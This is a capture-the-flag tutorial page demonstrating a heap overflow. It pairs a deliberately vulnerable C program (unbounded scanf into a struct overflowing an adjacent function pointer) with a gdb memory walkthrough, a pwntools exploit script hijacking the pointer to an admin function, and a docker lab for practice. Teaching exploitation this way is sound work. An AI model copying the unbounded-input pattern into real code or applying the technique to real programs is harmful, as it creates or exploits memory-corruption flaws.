> For the complete documentation index, see [llms.txt](https://www.ctfrecipes.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.ctfrecipes.com/pwn/heap-exploitation/heap-overflow/challenge-example.md).

# Challenge example

The exploitation of a [**Heap overflow**](/pwn/heap-exploitation/heap-overflow.md) depend on the program implementation. With this example, the attacker can exploit this in order to jump to an arbitrary function : "admin"&#x20;

## Source code

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct user{
    char username[32];
    char password[32];
};

typedef struct ticket {
    void (*display)(struct ticket*);
    char username[32];
    char content[24];
} Ticket;

void display(Ticket *t){
    printf("%s\n", t->content);
}

char login(struct user *u){
    char secret[16] = "";
    char c;

    FILE *fp = fopen(".passwd", "r");
    fread(secret, 1, 15, fp);
    fclose(fp);
    secret[15] = '\0';

    if (strcmp(u->password, secret) == 0 && strcmp(u->password, "admin") == 0) {
        return 1;
    } else {
        return 0;
    }
}

void admin(){
    printf("Welcome admin\n");
    // Make admin stuff
}

int main(int argc, char **argv){
    int log;
    char c=1, i;
    char buf[8];
    
    struct user *u = malloc(sizeof(struct user));
    strcpy(u->username, "Guest");
    strcpy(u->password, "");
    
    struct ticket *t = malloc(sizeof(struct ticket));
    t->display = display;
    strcpy(t->content, "");
    strcpy(t->username, u->username);

    while(c){
        printf("Press enter char to continue...");
        fgets(buf, 8, stdin);
        getchar();
        printf("\e[1;1H\e[2J");
        printf("Welcome %-10s.\nWhat to do you want to do ?\n", u->username);
        printf("1 - Read ticket\n");
        printf("2 - Create ticket\n");
        printf("3 - Delete ticket\n");
        printf("4 - Submit tickets\n");
        printf("5 - login\n");
        printf("0 - Exit\n");
        printf("Choice > ");
        scanf("%1s", buf);
        i = buf[0];
        printf("\e[1;1H\e[2J");
        switch (i) {
            case '0':
                c = 0;
                break;
            case '1':
                printf("Resume : \n");
                t->display(t);
                break;
            case '2':
                printf("Ticket content : \n");
                scanf("%24s",t->content);
                fflush(stdout);
                break;
            case '5':
                printf("Please enter credentials : \n");
                printf("Username : ");
                scanf("%s", u->username);
                printf("Password : ");
                scanf("%s", u->password);
                if (login(u) == 1){
                    admin();
                }
                break;
            default:
                printf("Function not yet implemented !\n");
        }
    }
    return 0;
}
```

### Structures

There is two used structure inside this program :&#x20;

* **user**

```c
struct user{
    char username[32];
    char password[32];
};
```

This structure has a size = 64 bytes ( 32 for username and 32 for password )&#x20;

* **ticket**

```c
typedef struct ticket {
    void (*display)(struct ticket*);
    char username[32];
    char content[24];
} Ticket;
```

This structure has a size = 64 bytes ( 8 for \*display , 32 for username and 24 for content )&#x20;

{% hint style="info" %}
**Note:** \*display is a pointer to a function.

The two struct have the exact same size. It's not required but it's easier to exploit because the two allocated chunk will be taken from the same bin.&#x20;
{% endhint %}

### login()

```c
char login(struct user *u){
    char secret[16] = "";
    char c;

    FILE *fp = fopen(".passwd", "r");
    fread(secret, 1, 15, fp);
    fclose(fp);
    secret[15] = '\0';

    if (strcmp(u->password, secret) == 0 && strcmp(u->password, "admin") == 0) {
        return 1;
    } else {
        return 0;
    }
}
```

This function will simply compare the username and the password with those for the admin user, if it's equals than the user is admin else it's a guest.&#x20;

### main

There is two parts into this function :&#x20;

#### Variables setup

```c
int log;
char c=1, i;
char buf[8];

struct user *u = malloc(sizeof(struct user));
strcpy(u->username, "Guest");
strcpy(u->password, "");

struct ticket *t = malloc(sizeof(struct ticket));
t->display = display;
strcpy(t->content, "");
strcpy(t->username, u->username);
```

This part setup needed variables.

{% hint style="info" %}
Note that `struct user *u = malloc(sizeof(struct user));` and `struct ticket *t = malloc(sizeof(struct ticket));` are made directly one after the other.&#x20;

Because there have the exact same size and their are declared at the same time, their position in memory will be side by side.&#x20;
{% endhint %}

#### Menu loop

```c
while(c){
        printf("Press enter char to continue...");
        fgets(buf, 8, stdin);
        getchar();
        printf("\e[1;1H\e[2J");
        printf("Welcome %-10s.\nWhat to do you want to do ?\n", u->username);
        printf("1 - Read ticket\n");
        printf("2 - Create ticket\n");
        printf("3 - Delete ticket\n");
        printf("4 - Submit tickets\n");
        printf("5 - login\n");
        printf("0 - Exit\n");
        printf("Choice > ");
        scanf("%1s", buf);
        i = buf[0];
        printf("\e[1;1H\e[2J");
        switch (i) {
            case '0':
                c = 0;
                break;
            case '1':
                printf("Resume : \n");
                t->display(t);
                break;
            case '2':
                printf("Ticket content : \n");
                scanf("%24s",t->content);
                fflush(stdout);
                break;
            case '5':
                printf("Please enter credentials : \n");
                printf("Username : ");
                scanf("%s", u->username);
                printf("Password : ");
                scanf("%s", u->password);
                if (login(u) == 1){
                    admin();
                }
                break;
            default:
                printf("Function not yet implemented !\n");
        }
    }
```

The user have some possible actions :&#x20;

1. **Read ticket**&#x20;

This action will call the `display` function pointed by the pointer stored inside the ticket.&#x20;

2. **Create ticket**

This action will set the content and username values of the ticket

5. **login**

This action permit to the user to provide `username` and `password` to login.&#x20;

{% hint style="info" %}
Note: both username and password are get from user input without any length control.&#x20;

**Here is the overflow**&#x20;
{% endhint %}

## Exploitation

As explain before, the two allocated chunk are side by side in memory and have the exact same size (64 bytes)&#x20;

The objective is to overwrite the `display` pointer to make it point to the `admin` function.&#x20;

Let's check the memory state :&#x20;

```bash
gdb-peda$ i locals
log = <optimized out>
c = 0x1
i = 0x35
buf = "5\000\000\000\000\000\000"
u = 0x4052a0
t = 0x4052f0
```

**`u`** is stored at `0x4052a0` and **`t`** at `0x4052f0`

By using `login` action, 10 `A` are put as username and 10 `B` as password to clearly identified their position in memory

The same is used for ticket content with 10 `C`

```bash
gdb-peda$ x/20x 0x4052a0
0x4052a0:       0x4141414141414141      0x0000000000004141
0x4052b0:       0x0000000000000000      0x0000000000000000
0x4052c0:       0x4242424242424242      0x4242424242004242
0x4052d0:       0x0000000000004242      0x0000000000000000
0x4052e0:       0x0000000000000000      0x0000000000000051
0x4052f0:       0x00000000004012b6      0x0000007473657547
0x405300:       0x0000000000000000      0x0000000000000000
0x405310:       0x0000000000000000      0x4343434343434343
0x405320:       0x0000000000004343      0x0000000000000000
0x405330:       0x0000000000000000      0x0000000000000411
```

{% hint style="info" %}
Datas can clearly be identified :&#x20;

`username` is at the beginning of the **`u`** chunk&#x20;

Followed by `password`

Next there is the **`t`** metadatas&#x20;

at `0x4052f0` there is the `display` pointer followed by the others `ticket` datas.&#x20;
{% endhint %}

To overwrite the `display` pointer, it's needed to overwrite `0x4052f0 - 0x4052c0 = 48` bytes before writing the arbitrary address. &#x20;

{% hint style="info" %}
The amount of bytes to overwrite can also be calculated with data size :&#x20;

`password = 32 bytes`

`t metadatas = 16 bytes`

`16 + 32 = 48`
{% endhint %}

The data send as password will then be : `"A"*48 + p64(elf.symbols['admin'])`

### Exploit script&#x20;

```python
from pwn import *

elf = context.binary = ELF("./chall")

p = process()

p.sendline()

target = p64(elf.symbols['admin'])

def choice(c):
    p.sendline()
    p.recv(timeout=1)
    p.sendline(c)

def login(username, password):
    choice(b'5')
    p.recv(timeout=1)
    p.sendline(username)
    p.recv(timeout=1)
    p.sendline(password)

login(b"A", b"B"*48 + target)
choice(b'1')

p.interactive()
p.close()
```

## Exercice

If you want to try this exploit by yourself, you can pull [this docker image](https://hub.docker.com/r/thectfrecipes/pwn/general) :&#x20;

```
docker pull thectfrecipes/pwn:heap_overflow
```

Deploy the image using the followed command :&#x20;

```
docker run --name heap_overflow -it --rm -d -p 3000:3000 thectfrecipes/pwn:heap_overflow
```

Access to the web shell with your browser at the address : `http://localhost:3000/`

```
login: challenge
password: password
```
